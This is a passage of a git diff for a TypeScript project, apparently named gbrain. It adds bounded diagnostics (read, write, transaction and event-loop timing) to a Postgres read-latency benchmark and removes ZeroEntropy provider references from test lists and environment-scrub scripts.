@@ -19,7 +19,7 @@ export async function runReadPerformance(options: ReadWorkloadOptions & { manife
let admin: ReturnType<typeof postgres> | undefined;
function sourceHashes() {
return Object.fromEntries(['scripts/persistence/performance.ts', 'scripts/persistence/read-workload.ts', 'scripts/persistence/read-metrics.ts', 'scripts/persistence/read-admission.ts',
- 'tests/heavy/_read_latency_workload.ts', 'src/core/persistence/coordinator.ts', 'src/core/persistence/journal.ts',
+ 'scripts/persistence/read-diagnostics.ts', 'tests/heavy/_read_latency_workload.ts', 'src/core/persistence/coordinator.ts', 'src/core/persistence/journal.ts',
'src/core/persistence/consumer.ts', 'src/core/persistence/activation.ts', 'src/core/persistence/page-mutations.ts', 'src/core/search/hybrid.ts',
'src/core/pglite-engine.ts', 'src/core/postgres-engine.ts'].map(file =>
[file, createHash('sha256').update(readFileSync(resolve(import.meta.dir, '../..', file))).digest('hex')]));
diff --git a/scripts/persistence/read-admission.ts b/scripts/persistence/read-admission.ts
index 81ba11c1ff..4debed2d9a 100644
--- a/scripts/persistence/read-admission.ts
+++ b/scripts/persistence/read-admission.ts
@@ -9,16 +9,23 @@ export class WriteTimingRecorder {
private readonly starts = new Map<string, number>();
private readonly admissions = new Map<string, number>();
private readonly completions = new Set<string>();
+ private readonly indices = new Map<string, number>();
+ private nextIndex = 0;
+
+ constructor(private readonly observe?: (event: 'start' | 'admitted' | 'committed', index: number, at: number) => void) {}
start(requestId: string, at: number): void {
assert(!this.starts.has(requestId), 'workload writes require distinct request IDs');
this.starts.set(requestId, at);
+ this.indices.set(requestId, this.nextIndex++);
+ this.observe?.('start', this.indices.get(requestId)!, at);
}
admitted(requestId: string, at: number): void {
const started = this.starts.get(requestId);
if (started === undefined || this.admissions.has(requestId)) return;
assert(at >= started, 'durable admission cannot precede public invocation');
this.admissions.set(requestId, at); this.admissionMs.push(at - started);
+ this.observe?.('admitted', this.indices.get(requestId)!, at);
}
complete(requestId: string, at: number): void {
const started = this.starts.get(requestId); const admitted = this.admissions.get(requestId);
@@ -26,10 +33,12 @@ export class WriteTimingRecorder {
'a completed public write must have an earlier observed durable admission');
assert(!this.completions.has(requestId), 'a terminal receipt may be counted only once');
this.completions.add(requestId); this.intervals.push([started, at]); this.completionMs.push(at - started);
+ this.observe?.('committed', this.indices.get(requestId)!, at);
}
reset(): void {
assert(this.starts.size === this.completions.size, 'cannot discard an unfinished warmup write');
this.starts.clear(); this.admissions.clear(); this.completions.clear();
+ this.indices.clear();
this.admissionMs.length = 0; this.completionMs.length = 0; this.intervals.length = 0;
}
}
diff --git a/scripts/persistence/read-diagnostics.ts b/scripts/persistence/read-diagnostics.ts
new file mode 100644
index 0000000000..c23409f650
--- /dev/null
+++ b/scripts/persistence/read-diagnostics.ts
@@ -0,0 +1,134 @@
+import { AsyncLocalStorage } from 'node:async_hooks';
+
+export type ReadPhase = 'setup' | 'seed' | 'warmup' | 'idle' | 'loaded' | 'drain' | 'shutdown';
+export type FailureStage = 'connect' | 'schema' | 'activate' | 'seed' | 'warmup' | 'idle_read' | 'loaded_read' |
+ 'keyword' | 'titles' | 'writer' | 'metrics_query' | 'metrics_rss' | 'drain' | 'validate' | 'shutdown';
+type Outcome = 'pending' | 'fulfilled' | 'rejected';
+
+export class BoundedRecords<T> {
+ readonly records: T[] = [];
+ total = 0;
+ dropped = 0;
+ constructor(readonly limit: number) {
+ if (!Number.isSafeInteger(limit) || limit < 0) throw new Error('Invalid diagnostic limit');
+ }
+ add(record: T): void {
+ this.total++;
+ if (this.records.length < this.limit) this.records.push(record);
+ else this.dropped++;
+ }
+}
+
+export function safeDiagnosticError(error: unknown) {
+ const names = ['Error', 'SystemError', 'TypeError', 'RangeError', 'AssertionError', 'PostgresError', 'AbortError'];
+ const codes = ['ENOMEM', 'EIO', 'EAGAIN', 'EINVAL', 'ENOSYS', 'ECONNRESET', 'ECONNREFUSED', 'ETIMEDOUT',
+ 'ERR_ASSERTION', 'ERR_SYSTEM_ERROR', '53300', '57014', '40P01', '40001', 'write_pending'];
+ const syscalls = ['memoryUsage', 'getrusage', 'uv_resident_set_memory', 'read', 'connect'];
+ const field = (key: string): unknown => {
+ try { return error !== null && typeof error === 'object' ? Reflect.get(error, key) : undefined; }
+ catch { return undefined; }
+ };
+ const name = field('name'); const code = field('code'); const errno = field('errno'); const syscall = field('syscall');
+ return {
+ name: typeof name === 'string' && names.includes(name) ? name : 'unknown',
+ ...(typeof code === 'string' && codes.includes(code) ? { code } : {}),
+ ...(typeof errno === 'number' && Number.isSafeInteger(errno) ? { errno } : {}),
+ ...(typeof syscall === 'string' && syscalls.includes(syscall) ? { syscall } : {}),
+ stack_present: typeof field('stack') === 'string',
+ };
+}
+
+type ReadRecord = { phase: ReadPhase; query_index: number; corpus_index: number; start_ms: number;
+ end_ms: number | null; duration_ms: number | null; outcome: Outcome };
+type TransactionRecord = { phase: ReadPhase; query_index: number | null; dispatch_ms: number;
+ callback_ms: number | null; end_ms: number | null; dispatch_to_callback_ms: number | null; outcome: Outcome };
+type WriteRecord = { write_index: number; phase: ReadPhase; event: 'start' | 'admitted' | 'committed'; at_ms: number };
+type LoopRecord = { phase: ReadPhase; start_ms: number; end_ms: number; delay_ms: number };
+
+export class ReadDiagnostics {
+ phase: ReadPhase = 'setup';
+ readonly reads = new BoundedRecords<ReadRecord>(1024);
+ readonly writes = new BoundedRecords<WriteRecord>(4096);
+ readonly failures = new BoundedRecords<{ stage: FailureStage; phase: ReadPhase; at_ms: number;
+ error: ReturnType<typeof safeDiagnosticError> }>(32);
+ readonly transactions: Record<ReadPhase, BoundedRecords<TransactionRecord>>;
+ readonly event_loop: Record<ReadPhase, BoundedRecords<LoopRecord>>;
+ readonly context = new AsyncLocalStorage<{ phase: ReadPhase; query_index: number }>();
+ readonly clock_basis = 'performance.now() milliseconds since workload start; shared with pool sample at_ms';
+ readonly transaction_basis = 'root postgres.js begin dispatch through callback entry and promise settlement; includes BEGIN and client scheduling, not pure checkout wait; nested savepoints excluded';
+ readonly event_loop_basis = '20ms timer lateness; same observer in all phases; no server sampling or SQL added';
+ readonly overhead = 'query context setup precedes query timer and read retention follows it; transaction callbacks, promise observers and timer callbacks add unquantified in-query overhead';
+ readonly transaction_support: 'postgres_root_begin' | 'unavailable_pglite';
+ private timer: ReturnType<typeof setInterval> | undefined;
+ constructor(readonly origin: number, kind: 'postgres' | 'pglite') {
+ this.transaction_support = kind === 'postgres' ? 'postgres_root_begin' : 'unavailable_pglite';
+ const phases: ReadPhase[] = ['setup', 'seed', 'warmup', 'idle', 'loaded', 'drain', 'shutdown'];
+ this.transactions = Object.fromEntries(phases.map(phase => [phase, new BoundedRecords<TransactionRecord>(4096)])) as typeof this.transactions;
+ this.event_loop = Object.fromEntries(phases.map(phase => [phase, new BoundedRecords<LoopRecord>(2048)])) as typeof this.event_loop;
+ }
+ setPhase(phase: ReadPhase): void {
+ this.stop(); this.phase = phase;
+ let previous = performance.now();
+ this.timer = setInterval(() => {
+ const now = performance.now();
+ this.event_loop[phase].add({ phase, start_ms: previous - this.origin, end_ms: now - this.origin,
+ delay_ms: Math.max(0, now - previous - 20) });
+ previous = now;
+ }, 20);
+ }
+ stop(): void { clearInterval(this.timer); this.timer = undefined; }
+ failure(stage: FailureStage, error: unknown): void {
+ this.failures.add({ stage, phase: this.phase, at_ms: performance.now() - this.origin, error: safeDiagnosticError(error) });
+ }
+ write(event: WriteRecord['event'], writeIndex: number, at: number): void {
+ this.writes.add({ event, write_index: writeIndex, phase: this.phase, at_ms: at - this.origin });
+ }
+ async read<T>(index: number, corpusIndex: number, run: () => Promise<T>): Promise<{ value: T; duration: number }> {
+ const record: ReadRecord = { phase: this.phase, query_index: index, corpus_index: corpusIndex,
+ start_ms: 0, end_ms: null, duration_ms: null, outcome: 'pending' };
+ this.reads.add(record);
+ return this.context.run({ phase: record.phase, query_index: index }, async () => {
+ const started = performance.now(); record.start_ms = started - this.origin;
+ try {
+ const value = await run(); const ended = performance.now();
+ record.end_ms = ended - this.origin; record.duration_ms = ended - started; record.outcome = 'fulfilled';
+ return { value, duration: ended - started };
+ } catch (error) {
+ const ended = performance.now();
+ record.end_ms = ended - this.origin; record.duration_ms = ended - started; record.outcome = 'rejected';
+ throw error;
+ }
+ });
+ }
+ observeRootBegin<T extends { begin: (...args: any[]) => any }>(root: T): () => void {
+ const original = root.begin; const diagnostics = this;
+ function begin(this: unknown, ...args: any[]) {
+ const callbackIndex = typeof args[0] === 'function' ? 0 : 1;
+ const callback = args[callbackIndex];
+ const context = diagnostics.context.getStore();
+ const record: TransactionRecord = { phase: context?.phase ?? diagnostics.phase, query_index: context?.query_index ?? null,
+ dispatch_ms: performance.now() - diagnostics.origin, callback_ms: null, end_ms: null,
+ dispatch_to_callback_ms: null, outcome: 'pending' };
+ diagnostics.transactions[record.phase].add(record);
+ if (typeof callback === 'function') args[callbackIndex] = function(this: unknown, ...values: unknown[]) {
+ record.callback_ms = performance.now() - diagnostics.origin;
+ record.dispatch_to_callback_ms = record.callback_ms - record.dispatch_ms;
+ return Reflect.apply(callback, this, values);
+ };
+ const complete = (outcome: Outcome) => { record.end_ms = performance.now() - diagnostics.origin; record.outcome = outcome; };
+ try {
+ const returned = Reflect.apply(original, this, args);
+ if (returned instanceof Promise) returned.then(() => complete('fulfilled'), () => complete('rejected'));
+ else complete('fulfilled');
+ return returned;
+ } catch (error) { complete('rejected'); throw error; }
+ }
+ root.begin = begin as T['begin'];
+ return () => { root.begin = original; };
+ }
+ toJSON() {
+ return { clock_basis: this.clock_basis, transaction_basis: this.transaction_basis, transaction_support: this.transaction_support,
+ event_loop_basis: this.event_loop_basis, overhead: this.overhead, reads: this.reads, writes: this.writes,
+ failures: this.failures, transactions: this.transactions, event_loop: this.event_loop };
+ }
+}
diff --git a/scripts/persistence/read-workload.ts b/scripts/persistence/read-workload.ts
index 099ac50f00..b1a470458f 100644
--- a/scripts/persistence/read-workload.ts
+++ b/scripts/persistence/read-workload.ts
@@ -14,6 +14,7 @@ import { assertSafeE2eDatabaseUrl } from '../../test/helpers/db-guard.ts';
import { distribution } from './harness.ts';
import { overlapPercent } from './read-metrics.ts';
import { observeAdmissionTransactions, WriteTimingRecorder } from './read-admission.ts';
+import { BoundedRecords, ReadDiagnostics, type FailureStage } from './read-diagnostics.ts';
export interface ReadWorkloadOptions {
engine?: 'pglite' | 'postgres'; databaseUrl?: string; pages?: number; queries?: number; writers?: number; writesPerWriter?: number;
@@ -38,21 +39,29 @@ export async function runReadLatencyWorkload(options: ReadWorkloadOptions = {})
phase_a: null, phase_b: null, overlap_pct: 0, write_path: 'public put_page handler', verdict: 'informational' };
let stop = false; let metricsTimer: ReturnType<typeof setInterval> | undefined;
let metricsWork: Promise<void> | undefined; let backgroundFailure: unknown;
+ let stage: FailureStage = 'connect';
+ let restoreBegin: (() => void) | undefined;
+ const diagnostics = new ReadDiagnostics(at, kind);
+ result.diagnostics = diagnostics;
+ const failed = (where: FailureStage, error: unknown) => { diagnostics.failure(where, error); backgroundFailure = error; };
const writers: Promise<void>[] = [];
- const timings = new WriteTimingRecorder();
+ const timings = new WriteTimingRecorder((event, index, now) => diagnostics.write(event, index, now));
const { intervals, admissionMs, completionMs } = timings;
const engine = observeAdmissionTransactions(kind === 'postgres' ? new PostgresEngine() : new PGLiteEngine(), (requestId, now) => {
timings.admitted(requestId, now);
});
- const samples: { at_ms: number; queue_count: number; queue_age_ms: number; recovery_bytes: number; rss_bytes: number; pool: unknown }[] = [];
+ const sampleRecords = new BoundedRecords<{ at_ms: number; queue_count: number; queue_age_ms: number; recovery_bytes: number; rss_bytes: number; pool: unknown }>(4096);
+ const samples = sampleRecords.records;
+ result.metrics = samples;
+ let peakQueueAge = 0; let peakRecovery = 0; let peakRss = 0;
// Production search can degrade when one lexical arm fails. A benchmark
// must not count that cheaper, partial read as a successful measurement.
const keyword = engine.searchKeyword; const titles = engine.searchTitles;
engine.searchKeyword = async function(query, opts) {
- try { return await keyword.call(this, query, opts); } catch (error) { backgroundFailure = error; throw error; }
+ try { return await keyword.call(this, query, opts); } catch (error) { failed('keyword', error); throw error; }
};
engine.searchTitles = async function(query, opts) {
- try { return await titles.call(this, query, opts); } catch (error) { backgroundFailure = error; throw error; }
+ try { return await titles.call(this, query, opts); } catch (error) { failed('titles', error); throw error; }
};
const put = operationsByName.put_page;
const ctx: OperationContext = { engine, config: { engine: kind }, sourceId: 'default', remote: false, dryRun: false,
@@ -78,17 +87,25 @@ export async function runReadLatencyWorkload(options: ReadWorkloadOptions = {})
try {
if (engine instanceof PostgresEngine) { assertSafeE2eDatabaseUrl(options.databaseUrl!); await engine.connect({ database_url: options.databaseUrl, poolSize: 4 }); }
else await engine.connect({});
+ if (engine instanceof PostgresEngine) restoreBegin = diagnostics.observeRootBegin(engine.sql);
+ diagnostics.setPhase('setup'); stage = 'schema';
await engine.initSchema();
+ stage = 'activate';
assert.equal((await activatePersistence(engine, { confirmQuiesced: true })).enabled, true);
process.stderr.write(`[_read_latency] ${kind}: seeding ${pages} pages through public mutations\n`);
let seedIndex = 0;
+ diagnostics.setPhase('seed'); stage = 'seed';
await Promise.all(Array.from({ length: 4 }, async () => { for (;;) { const i = seedIndex++; if (i >= pages) return; await write(i, 'Fixture'); } }));
- assert((await hybridSearch(engine, 'lorem ipsum', { limit: 10 })).length > 0, 'read fixture must contain searchable canonical projections');
+ diagnostics.setPhase('warmup'); stage = 'warmup';
+ assert((await diagnostics.read(0, 0, () => hybridSearch(engine, 'lorem ipsum', { limit: 10 }))).value.length > 0, 'read fixture must contain searchable canonical projections');
async function readPhase() {
const timings: number[] = [];
for (let i = 0; i < count; i++) { if (backgroundFailure) throw backgroundFailure;
- const started = performance.now(); await hybridSearch(engine, queries[i % queries.length], { limit: 10 });
- if (backgroundFailure) throw backgroundFailure; timings.push(performance.now() - started);
+ const { duration } = await diagnostics.read(i, i % queries.length, async () => {
+ await hybridSearch(engine, queries[i % queries.length], { limit: 10 });
+ if (backgroundFailure) throw backgroundFailure;
+ });
+ timings.push(duration);
// PGLite can resolve the whole read loop through microtasks. Give the
// resident consumer/renewal timers a turn between queries in BOTH
// phases; a queued request alone is not concurrent writer evidence.
@@ -96,11 +113,15 @@ export async function runReadLatencyWorkload(options: ReadWorkloadOptions = {})
}
return { ...distribution(timings), queries_run: timings.length };
}
+ diagnostics.setPhase('idle'); stage = 'idle_read';
result.phase_a = await readPhase();
+ diagnostics.setPhase('warmup');
// Exercise the identical observer during all warmup writes. Begin the
// measured phase with empty buffers, not a newly enabled closure branch.
timings.reset();
const sample = async () => {
+ let sampleStage: FailureStage = 'metrics_query';
+ try {
const [row] = await engine.executeRaw<{ pending: number; age: string; recovery: string; database_sessions?: unknown }>(`SELECT
COUNT(*) FILTER(WHERE state IN ('queued','running','recovering'))::integer AS pending,
COALESCE(EXTRACT(EPOCH FROM (now()-MIN(created_at) FILTER(WHERE state IN ('queued','running','recovering'))))*1000,0)::text AS age,
@@ -108,21 +129,28 @@ export async function runReadLatencyWorkload(options: ReadWorkloadOptions = {})
${kind === 'postgres' ? `, (SELECT json_build_object('total', count(*), 'active', count(*) FILTER(WHERE state='active'),
'idle', count(*) FILTER(WHERE state='idle'), 'idle_in_transaction', count(*) FILTER(WHERE state='idle in transaction'))
FROM pg_stat_activity WHERE datname=current_database()) AS database_sessions` : ''} FROM persistence_requests`);
- samples.push({ at_ms: performance.now() - at, queue_count: row.pending, queue_age_ms: Number(row.age), recovery_bytes: Number(row.recovery),
- rss_bytes: process.memoryUsage().rss, pool: engine instanceof PostgresEngine ? {
+ sampleStage = 'metrics_rss';
+ const rss = process.memoryUsage().rss;
+ peakQueueAge = Math.max(peakQueueAge, Number(row.age)); peakRecovery = Math.max(peakRecovery, Number(row.recovery)); peakRss = Math.max(peakRss, rss);
+ sampleRecords.add({ at_ms: performance.now() - at, queue_count: row.pending, queue_age_ms: Number(row.age), recovery_bytes: Number(row.recovery),
+ rss_bytes: rss, pool: engine instanceof PostgresEngine ? {
tracked_subset: engine.getPoolDiagnostics(), database_sessions: row.database_sessions,
scope: 'fresh fixture database; active count includes this sampler; tracked gauges cover a SQL subset' } : null });
+ } catch (error) { failed(sampleStage, error); throw error; }
};
await sample();
metricsTimer = setInterval(() => { if (!metricsWork) metricsWork = sample().catch(error => { backgroundFailure = error; }).finally(() => { metricsWork = undefined; }); }, 250);
- const queryStart = performance.now(); let completed = 0; let failed = 0;
+ diagnostics.setPhase('loaded'); stage = 'loaded_read';
+ const queryStart = performance.now(); let completed = 0; let failedWrites = 0;
for (let writer = 0; writer < writerCount; writer++) writers.push((async () => {
for (let i = 0; !stop && i < cap; i++) { await write(pages + writer * cap + i, `WriterW${writer}`); completed++; }
- })().catch(error => { failed++; backgroundFailure = error; stop = true; }));
- result.phase_b = await readPhase(); const queryEnd = performance.now(); stop = true; await Promise.all(writers);
+ })().catch(error => { failedWrites++; failed('writer', error); stop = true; }));
+ result.phase_b = await readPhase(); const queryEnd = performance.now(); stop = true;
+ diagnostics.setPhase('drain'); stage = 'drain'; await Promise.all(writers);
if (backgroundFailure) throw backgroundFailure;
await metricsWork; await sample();
- result.phase_b.writes_completed = completed; result.phase_b.writes_failed = failed;
+ if (backgroundFailure) throw backgroundFailure;
+ result.phase_b.writes_completed = completed; result.phase_b.writes_failed = failedWrites;
result.phase_b.writes_committed_during_reads = intervals.filter(([, end]) => end <= queryEnd).length;
result.phase_b.writer_end_ms = Math.max(0, ...intervals.map(([, end]) => end - queryStart));
result.overlap_pct = overlapPercent(queryStart, queryEnd, intervals);
@@ -131,21 +159,26 @@ export async function runReadLatencyWorkload(options: ReadWorkloadOptions = {})
result.admission = distribution(admissionMs); result.commit = distribution(completionMs);
result.admission_basis = 'public invocation through resolved top-level queued journal transaction; nested savepoints excluded';
result.commit_basis = 'public invocation through observed terminal committed receipt';
+ stage = 'validate';
assert.equal(admissionMs.length, completed, 'every completed write needs an observed durable admission');
result.metrics = samples; result.throughput_writes_per_second = completed * 1000 / (performance.now() - queryStart);
- result.peak_queue_age_ms = Math.max(...samples.map(sample => sample.queue_age_ms));
- result.peak_recovery_bytes = Math.max(...samples.map(sample => sample.recovery_bytes));
- result.peak_rss_bytes = Math.max(...samples.map(sample => sample.rss_bytes));
+ result.peak_queue_age_ms = peakQueueAge;
+ result.peak_recovery_bytes = peakRecovery;
+ result.peak_rss_bytes = peakRss;
for (const p of ['p50', 'p95', 'p99']) result[`delta_${p}_pct`] = 100 * (result.phase_b[`${p}_ms`] / result.phase_a[`${p}_ms`] - 1);
result.brain_page_count = Number((await engine.executeRaw<{ n: number }>('SELECT count(*)::integer AS n FROM pages'))[0].n);
assert(result.phase_b.writes_committed_during_reads > 0, 'actual writes must commit while reads are still running');
assert(result.overlap_pct >= 90, `insufficient sustained overlap: ${result.overlap_pct}%`);
result.ok = true;
- } catch (error) { result.error = String(error); }
+ } catch (error) { diagnostics.failure(stage, error); result.error = 'benchmark workload failed'; }
finally {
stop = true; clearInterval(metricsTimer); await Promise.allSettled(writers); await metricsWork;
+ diagnostics.setPhase('shutdown');
try { await disposePersistenceConsumer(engine); await engine.disconnect(); }
- catch (error) { result.ok = false; result.error = `${result.error ?? ''} shutdown: ${error}`; }
+ catch (error) { diagnostics.failure('shutdown', error); result.ok = false; result.error = 'benchmark workload failed'; }
+ if (backgroundFailure || diagnostics.failures.total > 0) { result.ok = false; result.error = 'benchmark workload failed'; }
+ restoreBegin?.(); diagnostics.stop();
+ result.metrics_retention = { limit: sampleRecords.limit, total: sampleRecords.total, dropped: sampleRecords.dropped };
result.elapsed_ms = performance.now() - at;
}
return result;
diff --git a/scripts/run-e2e.sh b/scripts/run-e2e.sh
index 24fc68be3b..2f25c406f8 100755
--- a/scripts/run-e2e.sh
+++ b/scripts/run-e2e.sh
@@ -278,7 +278,7 @@ for f in "${files[@]}"; do
# word-splitting into extra gtimeout arguments or breaking the 4x math.
case "$file_timeout" in ''|*[!0-9]*) file_timeout=180 ;; esac
case "$f" in
- */skills.test.ts|*/zeroentropy-live.test.ts|*/serve-http-multi-agent.test.ts) file_timeout=$((file_timeout * 4)) ;;
+ */skills.test.ts|*/serve-http-multi-agent.test.ts) file_timeout=$((file_timeout * 4)) ;;
esac
if command -v gtimeout >/dev/null 2>&1; then
TIMEOUT_CMD="gtimeout $file_timeout"
diff --git a/scripts/run-eval-canary.ts b/scripts/run-eval-canary.ts
index 8afc7638b0..4f6eb2ab57 100644
--- a/scripts/run-eval-canary.ts
+++ b/scripts/run-eval-canary.ts
@@ -66,7 +66,6 @@ const CHILD_ENV_STRIP = [
'GBRAIN_EMBEDDING_DIMENSIONS',
'OPENAI_API_KEY',
'ANTHROPIC_API_KEY',
- 'ZEROENTROPY_API_KEY',
'VOYAGE_API_KEY',
'OPENROUTER_API_KEY',
'DASHSCOPE_API_KEY',
diff --git a/scripts/setup-in-agent.sh b/scripts/setup-in-agent.sh
index 6145046fae..9dab5174f8 100644
--- a/scripts/setup-in-agent.sh
+++ b/scripts/setup-in-agent.sh
@@ -91,7 +91,7 @@ chmod 700 "$gbrain_work/bundle/bun"
# recipe-coverage/parity test pins the standalone trampoline's literal pattern.
for gbrain_env_name in $(compgen -e); do
case "$gbrain_env_name" in
- GBRAIN_*|ANTHROPIC_*|AZURE_OPENAI_*|DASHSCOPE_*|DEEPSEEK_*|GEMINI_*|GOOGLE_GENERATIVE_AI_*|GROQ_*|LITELLM_*|LLAMA_SERVER_*|LMSTUDIO_*|MINIMAX_*|MISTRAL_*|MOONSHOT_*|NAN_*|NVIDIA_*|OLLAMA_*|OPENAI_*|OPENROUTER_*|PERPLEXITY_*|TOGETHER_*|VOYAGE_*|ZEROENTROPY_*|ZHIPUAI_*|DATABASE_URL|BUN_OPTIONS|NODE_OPTIONS|CLAUDE_CODE_OAUTH_TOKEN|*_API_KEY|*_API_TOKEN|*_CLIENT_SECRET) unset "$gbrain_env_name" ;;
+ GBRAIN_*|ANTHROPIC_*|AZURE_OPENAI_*|DASHSCOPE_*|DEEPSEEK_*|GEMINI_*|GOOGLE_GENERATIVE_AI_*|GROQ_*|LITELLM_*|LLAMA_SERVER_*|LMSTUDIO_*|MINIMAX_*|MISTRAL_*|MOONSHOT_*|NAN_*|NVIDIA_*|OLLAMA_*|OPENAI_*|OPENROUTER_*|PERPLEXITY_*|TOGETHER_*|VOYAGE_*|ZHIPUAI_*|DATABASE_URL|BUN_OPTIONS|NODE_OPTIONS|CLAUDE_CODE_OAUTH_TOKEN|*_API_KEY|*_API_TOKEN|*_CLIENT_SECRET) unset "$gbrain_env_name" ;;
esac
done
export GBRAIN_HOME="$gbrain_work/setup-home" GBRAIN_SKIP_STARTUP_HOOKS=1
diff --git a/scripts/structural-suites.tsv b/scripts/structural-suites.tsv
index e8e2c16250..3d2c341a99 100644
--- a/scripts/structural-suites.tsv
+++ b/scripts/structural-suites.tsv
@@ -47,7 +47,6 @@ test/brain-score-breakdown.test.ts linkable scope — archive pages do not drag
test/brainstorm-timeout.test.ts orchestrator entry-point wrap (CV11 single-point classification) 2 bun-file
test/build-llms.test.ts CLAUDE.md restructure content contracts 5 readFileSync
test/build-llms.test.ts build-llms generator 7 readFileSync
-test/canonical-migration-command.test.ts canonical migration command (single home: ai/defaults.ts) 5 doctor-source-helper
test/canonical-writer-inventory.test.ts (file-level) 2 readFileSync
test/chat-key-plane.test.ts #3944 both planner surfaces share the helper (source guard) 2 readFileSync
test/check-bootstrap-guards.test.ts check-grok-pin.sh 10 readFileSync
@@ -214,7 +213,6 @@ test/migrate.test.ts migration v49 — eval_takes_quality_runs (v0.32) 6 readFil
test/migrate.test.ts resolvePoolSize — env var + explicit override 4 readFileSync
test/migrate.test.ts resolveSessionTimeouts — env var overrides 5 readFileSync
test/migrate.test.ts v117 — context_volunteer_events_table 5 readFileSync
-test/migration-orchestrator-v0_46_3.serial.test.ts v0.46.3 orchestrator behavior 4 readFileSync
test/migration-resume.test.ts Bug 3 — orchestrator no longer writes the ledger directly 6 bun-file
test/migrations-v0_11_0.test.ts AGENTS.md marker injection 6 readFileSync
test/migrations-v0_11_0.test.ts cron manifest rewrite — gbrain builtins only 8 readFileSync
@@ -229,6 +227,7 @@ test/ocr-run-budget.test.ts doctor ocr_health surfaces the budget-skip counter (
test/openclaw-plugin-manifest.test.ts bundled-skill reference closure (nothing bundled points at a non-bundled skill) 1 readFileSync
test/openclaw-plugin-manifest.test.ts plugin membership curation (skills = plugin ∪ exclusions, disjoint) 9 readFileSync
test/openclaw-plugin-manifest.test.ts root OpenClaw plugin manifest 2 readFileSync
+test/persistence-sync-options.serial.test.ts (file-level) 1 readFileSync
test/pg-access-classify.test.ts marker contract (skill↔binary lockstep, the UPGRADE_AVAILABLE pattern) 3 bun-file
test/pglite-engine.test.ts PGLiteEngine: v0.13.1 error-wrap on connect() (#223) 1 readFileSync
test/pglite-repair-command.serial.test.ts gbrain pglite-repair — interactive confirm wiring (#4318 residual) 1 readFileSync
@@ -247,7 +246,7 @@ test/regression-strict-source-id.test.ts utils.ts no longer carries an inline pe
test/reindex-code-recovery.test.ts CLI help line (#3970 surface 1) 1 readFileSync
test/release-workflow.test.ts release.yml ↔ binary-self-update asset contract 11 readFileSync
test/remediation-command-resolution.test.ts #3697 — remediation text resolves against the live CLI surface 3 readFileSync
-test/reranker-default-seam.test.ts DEFAULT_RERANKER_MODEL seam (#3657, flipped v0.48.2) 5 readFileSync
+test/reranker-default-seam.test.ts DEFAULT_RERANKER_MODEL seam (#3657, flipped v0.48.2) 3 readFileSync
test/resolver.test.ts RESOLVER.md trigger round-trip (D5/C) 2 readFileSync
test/resolver.test.ts Skill example-name validator (D13) 4 readFileSync
test/retrieval-reflex-recipe-routing.test.ts retrieval-reflex recipe routing is MECE with the query skill (#4292) 5 readFileSync
@@ -328,13 +327,13 @@ test/upgrade-skill-publish-prompt-race.test.ts gbrain upgrade — skill-publish
test/upgrade.serial.test.ts detectInstallMethod heuristic (source analysis) 13 readFileSync
test/v0_37_fix_wave.serial.test.ts v0.37 Lane A — defaults sweep 8 readFileSync
test/v0_37_fix_wave.serial.test.ts v0.37 Lane B — init paths 3 readFileSync
-test/v0_37_fix_wave.serial.test.ts v0.37 Lane C.3 — ZE key reaches buildGatewayConfig 3 readFileSync
+test/v0_37_fix_wave.serial.test.ts v0.37 Lane C.3 — Voyage key reaches buildGatewayConfig 3 readFileSync
test/v0_37_fix_wave.serial.test.ts v0.37 Lane D.2 — embed pre-flight dim mismatch 1 readFileSync
test/v0_37_fix_wave.serial.test.ts v0.37 Lane D.4 — sync --help dispatch 1 readFileSync
test/v0_37_fix_wave.serial.test.ts v0.37 deferred TODO shipped — gbrain reinit-pglite 3 readFileSync
test/v0_37_gap_fill.serial.test.ts Lane A.7 — chunk-row INSERT default tracks the gateway-resolved model 1 readFileSync
test/v0_37_gap_fill.serial.test.ts Lane B — init precedence chain (CLI > env > existing file > default) 1 readFileSync
-test/v0_37_gap_fill.serial.test.ts Lane C.3 — env ZEROENTROPY_API_KEY merges into loadConfig 2 readFileSync
+test/v0_37_gap_fill.serial.test.ts Lane C.3 — env OPENAI_API_KEY merges into loadConfig 2 readFileSync
test/v0_37_gap_fill.serial.test.ts Lane D.2 — embed pre-flight catches dim mismatch before worker pool 2 readFileSync
test/v0_37_gap_fill.serial.test.ts Lane D.3 — sync surfaces dim-mismatch recipe at incremental AND first-sync catches 2 readFileSync
test/v0_37_gap_fill.serial.test.ts Lane E.4 — loadRecommendationContext is provider-aware 1 readFileSync
diff --git a/scripts/test-weights.json b/scripts/test-weights.json
index df7cae9e26..c483834f4f 100644
--- a/scripts/test-weights.json
+++ b/scripts/test-weights.json
@@ -28,7 +28,6 @@
"test/ai/diagnose-embedding-dims.test.ts": 8,
"test/ai/dims-openai.test.ts": 4,
"test/ai/dims-qwen3-native.test.ts": 5,
- "test/ai/dims-zeroentropy.test.ts": 4,
"test/ai/embed-env-batch-cap.test.ts": 7,
"test/ai/embed-keyless-base-url.test.ts": 4,
"test/ai/embedQuery.test.ts": 7,
@@ -76,11 +75,8 @@
"test/ai/resolve-native-base-url.test.ts": 4,
"test/ai/schema-templating.test.ts": 4,
"test/ai/silent-drop-regression.test.ts": 7,
- "test/ai/sunset-warn.test.ts": 5,
"test/ai/voyage-code-3-recipe.test.ts": 5,
"test/ai/voyage-reranker-recipe.test.ts": 11,
- "test/ai/zeroentropy-compat-fetch.test.ts": 10,
- "test/ai/zeroentropy-recipe.test.ts": 7,
"test/all-sources-sentinel.test.ts": 13,
"test/ambient-recall-cli.test.ts": 5805,
"test/ambient-recall-templates.test.ts": 2,
@@ -543,7 +539,6 @@
"test/doctor-volunteer-channels.test.ts": 14,
"test/doctor-wedged-queue.test.ts": 3196,
"test/doctor-worker-oom-loop.test.ts": 69,
- "test/doctor-ze-checks.test.ts": 902,
"test/doctor.test.ts": 3531,
"test/domain-aggregators.test.ts": 2725,
"test/dream-clean-status-skip-visibility.test.ts": 14,
@@ -1274,7 +1269,6 @@
"test/retrieval-reflex-pre-v110.test.ts": 381,
"test/retrieval-reflex-recipe-routing.test.ts": 2,
"test/retrieval-reflex.test.ts": 571,
- "test/retrieval-upgrade-planner.test.ts": 8180,
"test/retry-matcher.test.ts": 23,
"test/routing-eval-cli.test.ts": 1560,
"test/routing-eval.test.ts": 15,
@@ -1740,8 +1734,5 @@
"test/writeback-config.test.ts": 12,
"test/writer.test.ts": 8002,
"test/yaml-lite.test.ts": 1,
- "test/ze-exposure.test.ts": 2747,
- "test/ze-switch-cli.test.ts": 5795,
- "test/ze-switch-env-override.test.ts": 3118,
"test/zombie-reap.test.ts": 17
}
diff --git a/skills/RESOLVER.md b/skills/RESOLVER.md
index 269a9d98b2..1eea783817 100644
